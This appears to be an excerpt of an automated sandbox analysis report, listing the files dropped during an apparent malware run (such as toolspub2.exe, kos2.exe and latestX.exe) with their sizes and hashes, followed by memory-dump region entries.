-
C:\Users\Admin\AppData\Local\Temp\is-GA9EI.tmp\is-R46IU.tmpFilesize
642KB
MD5e57693101a63b1f934f462bc7a2ef093
SHA12748ea8c66b980f14c9ce36c1c3061e690cf3ce7
SHA25671267ff94c9fc72cbffaeed3bc2f33cef1eeb1887c29c574d7f26595d1a6235f
SHA5123dcda686a85b19a9c7b4c96d132e90ed43c7df13ce9456beb2b88c278d8068cc3abcbfe25b1607c7b8281d276efb24809730f352927b326254f3208cbdf54a3e
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exeFilesize
260KB
MD5f39a0110a564f4a1c6b96c03982906ec
SHA108e66c93b575c9ac0a18f06741dabcabc88a358b
SHA256f794a557ad952ff155b4bfe5665b3f448453c3a50c766478d070368cab69f481
SHA512c6659f926f95a8bed1ff779c8445470c3089823abe8c1199f591c313ecee0bd793478cdaab95905c0e8ae2a2b18737daabe887263b7cde1eaaa9ee6976ff7d00
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RHL2YJLJSW88UF2CJWR2.tempFilesize
7KB
MD54c5ba94e527388c5b005d197b302111c
SHA1332be39cf7f659ac04fe620f7952c6e9dc14cdde
SHA25662a5cee3694045cdacb447cfc407bdf9dce523424dcb82f2aaf035b0647081c7
SHA512357bd166344768c6579f41323ddd697dfb0590353a5c51115dd3bf126a23cd43e3ade8bdbed9c9824d2245405b9d6c1f4d9544c175f7fcfaefb956418e091217
-
C:\Windows\System32\drivers\etc\hostsFilesize
2KB
MD53e9af076957c5b2f9c9ce5ec994bea05
SHA1a8c7326f6bceffaeed1c2bb8d7165e56497965fe
SHA256e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e
SHA512933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f
-
\Users\Admin\AppData\Local\Temp\is-OLPOM.tmp\_iscrypt.dllFilesize
2KB
MD5a69559718ab506675e907fe49deb71e9
SHA1bc8f404ffdb1960b50c12ff9413c893b56f2e36f
SHA2562f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
SHA512e52e0aa7fe3f79e36330c455d944653d449ba05b2f9abee0914a0910c3452cfa679a40441f9ac696b3ccf9445cbb85095747e86153402fc362bb30ac08249a63
-
\Users\Admin\AppData\Local\Temp\is-OLPOM.tmp\_isdecmp.dllFilesize
12KB
MD57cee19d7e00e9a35fc5e7884fd9d1ad8
SHA12c5e8de13bdb6ddc290a9596113f77129ecd26bc
SHA25658ee49d4b4f6def91c6561fc5a1b73bc86d8a01b23ce0c8ddbf0ed11f13d5ace
SHA512a6955f5aff467f199236ed8a57f4d97af915a3ae81711ff8292e66e66c9f7ee307d7d7aafce09a1bd33c8f7983694cb207fc980d6c3323b475de6278d37bdde8
-
\Users\Admin\AppData\Local\Temp\is-OLPOM.tmp\_isetup\_shfoldr.dllFilesize
22KB
MD592dc6ef532fbb4a5c3201469a5b5eb63
SHA13e89ff837147c16b4e41c30d6c796374e0b8e62c
SHA2569884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
SHA5129908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3
-
\Users\Admin\AppData\Local\Temp\kos2.exeFilesize
1.5MB
MD5665db9794d6e6e7052e7c469f48de771
SHA1ed9a3f9262f675a03a9f1f70856e3532b095c89f
SHA256c1b31186d170a2a5755f15682860b3cdc60eac7f97a2db9462dee7ca6fcbc196
SHA51269585560e8ac4a2472621dd4da4bf0e636688fc5d710521b0177461f773fcf2a4c7ddb86bc812ecb316985729013212ccfa4992cd1c98f166a4a510e17fcae74
-
\Users\Admin\AppData\Local\Temp\latestX.exeFilesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
\Users\Admin\AppData\Local\Temp\set16.exeFilesize
1.5MB
MD5b224196c88f09b615527b2df0e860e49
SHA1f9ae161836a34264458d8c0b2a083c98093f1dec
SHA2562a11969fcc1df03533ad694a68d56f0e3a67ce359663c3cf228040ab5baa5ed8
SHA512d74376c5bd3ba19b8454a17f2f38ab64ad1005b6372c7e162230c822c38f6f8c7d87aef47ef04cb6dceedc731046c30efa6720098cc39b15addd17c809b8296d
-
memory/772-126-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-158-0x0000000000D00000-0x0000000000F27000-memory.dmpFilesize
2.2MB
-
memory/772-229-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-204-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-200-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-233-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-196-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-117-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-161-0x0000000000D00000-0x0000000000F27000-memory.dmpFilesize
2.2MB
-
memory/772-237-0x0000000000970000-0x00000000009B9000-memory.dmpFilesize
292KB
-
memory/772-121-0x0000000000D00000-0x0000000000F27000-memory.dmpFilesize
2.2MB
-
memory/772-145-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-239-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/772-124-0x0000000000D00000-0x0000000000F27000-memory.dmpFilesize
2.2MB
-
memory/772-166-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/1116-168-0x00000000022D0000-0x00000000022D8000-memory.dmpFilesize
32KB
-
memory/1116-170-0x0000000002A10000-0x0000000002A90000-memory.dmpFilesize
512KB
-
memory/1116-169-0x000007FEEEAA0000-0x000007FEEF43D000-memory.dmpFilesize
9.6MB
-
memory/1116-171-0x000007FEEEAA0000-0x000007FEEF43D000-memory.dmpFilesize
9.6MB
-
memory/1116-172-0x0000000002A10000-0x0000000002A90000-memory.dmpFilesize
512KB
-
memory/1116-167-0x000000001B5C0000-0x000000001B8A2000-memory.dmpFilesize
2.9MB
-
memory/1116-173-0x000007FEEEAA0000-0x000007FEEF43D000-memory.dmpFilesize
9.6MB
-
memory/1172-118-0x0000000002230000-0x0000000002246000-memory.dmpFilesize
88KB
-
memory/1568-109-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/1568-111-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/1568-104-0x0000000000BB0000-0x0000000000DD7000-memory.dmpFilesize
2.2MB
-
memory/1568-103-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/1568-105-0x0000000000BB0000-0x0000000000DD7000-memory.dmpFilesize
2.2MB
-
memory/1568-112-0x0000000000400000-0x0000000000627000-memory.dmpFilesize
2.2MB
-
memory/1860-234-0x0000000140000000-0x000000014002A000-memory.dmpFilesize
168KB
-
memory/1944-207-0x000000013FF70000-0x0000000140511000-memory.dmpFilesize
5.6MB
-
memory/1944-199-0x000000013FF70000-0x0000000140511000-memory.dmpFilesize
5.6MB
-
memory/1944-227-0x000000013FF70000-0x0000000140511000-memory.dmpFilesize
5.6MB
-
memory/1964-228-0x0000000000040000-0x0000000000060000-memory.dmpFilesize
128KB
-
memory/1964-235-0x0000000140000000-0x00000001407EF000-memory.dmpFilesize
7.9MB
-
memory/1964-230-0x00000000006D0000-0x00000000006F0000-memory.dmpFilesize
128KB
-
memory/2024-187-0x0000000002C50000-0x0000000002CD0000-memory.dmpFilesize
512KB
-
memory/2024-181-0x000000001B5B0000-0x000000001B892000-memory.dmpFilesize
2.9MB
-
memory/2024-189-0x000007FEEE100000-0x000007FEEEA9D000-memory.dmpFilesize
9.6MB
-
memory/2024-185-0x000007FEEE100000-0x000007FEEEA9D000-memory.dmpFilesize
9.6MB
-
memory/2024-186-0x0000000002C50000-0x0000000002CD0000-memory.dmpFilesize
512KB
-
memory/2024-188-0x0000000002C50000-0x0000000002CD0000-memory.dmpFilesize
512KB
-
memory/2024-182-0x0000000001EB0000-0x0000000001EB8000-memory.dmpFilesize
32KB
-
memory/2024-184-0x0000000002C50000-0x0000000002CD0000-memory.dmpFilesize
512KB
-
memory/2024-183-0x000007FEEE100000-0x000007FEEEA9D000-memory.dmpFilesize
9.6MB
-
memory/2176-27-0x00000000743E0000-0x0000000074ACE000-memory.dmpFilesize
6.9MB
-
memory/2176-0-0x0000000001160000-0x00000000018BC000-memory.dmpFilesize
7.4MB
-
memory/2176-1-0x00000000743E0000-0x0000000074ACE000-memory.dmpFilesize
6.9MB
-
memory/2228-130-0x0000000000220000-0x0000000000229000-memory.dmpFilesize
36KB
-
memory/2228-35-0x0000000000960000-0x0000000000A60000-memory.dmpFilesize
1024KB
-
memory/2228-38-0x0000000000220000-0x0000000000229000-memory.dmpFilesize
36KB
-
memory/2356-222-0x000007FEEE100000-0x000007FEEEA9D000-memory.dmpFilesize
9.6MB
-
memory/2356-220-0x00000000015D0000-0x0000000001650000-memory.dmpFilesize
512KB
-
memory/2356-216-0x000007FEEE100000-0x000007FEEEA9D000-memory.dmpFilesize
9.6MB
-
memory/2356-219-0x00000000015D0000-0x0000000001650000-memory.dmpFilesize
512KB
-
memory/2356-217-0x00000000015D0000-0x0000000001650000-memory.dmpFilesize
512KB
-
memory/2356-221-0x00000000015D0000-0x0000000001650000-memory.dmpFilesize
512KB
-
memory/2356-218-0x000007FEEE100000-0x000007FEEEA9D000-memory.dmpFilesize
9.6MB
-
memory/2384-208-0x000007FEEEAA0000-0x000007FEEF43D000-memory.dmpFilesize
9.6MB
-
memory/2384-209-0x00000000013C0000-0x0000000001440000-memory.dmpFilesize
512KB
-
memory/2384-211-0x00000000013C0000-0x0000000001440000-memory.dmpFilesize
512KB
-
memory/2384-210-0x000007FEEEAA0000-0x000007FEEF43D000-memory.dmpFilesize
9.6MB
-
memory/2384-213-0x000007FEEEAA0000-0x000007FEEF43D000-memory.dmpFilesize
9.6MB
-
memory/2384-212-0x00000000013C0000-0x0000000001440000-memory.dmpFilesize
512KB
-
memory/2464-76-0x000000001B230000-0x000000001B2B0000-memory.dmpFilesize
512KB
-
memory/2464-133-0x000000001B230000-0x000000001B2B0000-memory.dmpFilesize
512KB
-
memory/2464-74-0x0000000000DD0000-0x0000000000DD8000-memory.dmpFilesize
32KB
-
memory/2464-75-0x000007FEF5800000-0x000007FEF61EC000-memory.dmpFilesize
9.9MB
-
memory/2464-131-0x000007FEF5800000-0x000007FEF61EC000-memory.dmpFilesize
9.9MB
-
memory/2504-127-0x000000013FA30000-0x000000013FFD1000-memory.dmpFilesize
5.6MB
-
memory/2504-192-0x000000013FA30000-0x000000013FFD1000-memory.dmpFilesize
5.6MB
-
memory/2588-154-0x0000000000010000-0x0000000000076000-memory.dmpFilesize
408KB
-
memory/2588-157-0x0000000000010000-0x0000000000076000-memory.dmpFilesize
408KB
-
memory/2664-18-0x0000000000240000-0x00000000003BE000-memory.dmpFilesize
1.5MB
-
memory/2664-21-0x00000000743E0000-0x0000000074ACE000-memory.dmpFilesize
6.9MB
-
memory/2664-55-0x00000000743E0000-0x0000000074ACE000-memory.dmpFilesize
6.9MB
-
memory/2812-45-0x0000000000400000-0x0000000000413000-memory.dmpFilesize
76KB
-
memory/2812-128-0x0000000000400000-0x0000000000413000-memory.dmpFilesize
76KB
-
memory/2812-52-0x0000000000400000-0x0000000000413000-memory.dmpFilesize
76KB
-
memory/2984-119-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/2984-49-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/2984-37-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/2984-33-0x000000007EFDE000-0x000000007EFDF000-memory.dmpFilesize
4KB
-
memory/3024-102-0x00000000036B0000-0x00000000038D7000-memory.dmpFilesize
2.2MB
-
memory/3024-129-0x0000000000400000-0x00000000004CF000-memory.dmpFilesize
828KB
-
memory/3024-136-0x00000000036B0000-0x00000000038D7000-memory.dmpFilesize
2.2MB
-
memory/3024-146-0x00000000036B0000-0x00000000038D7000-memory.dmpFilesize
2.2MB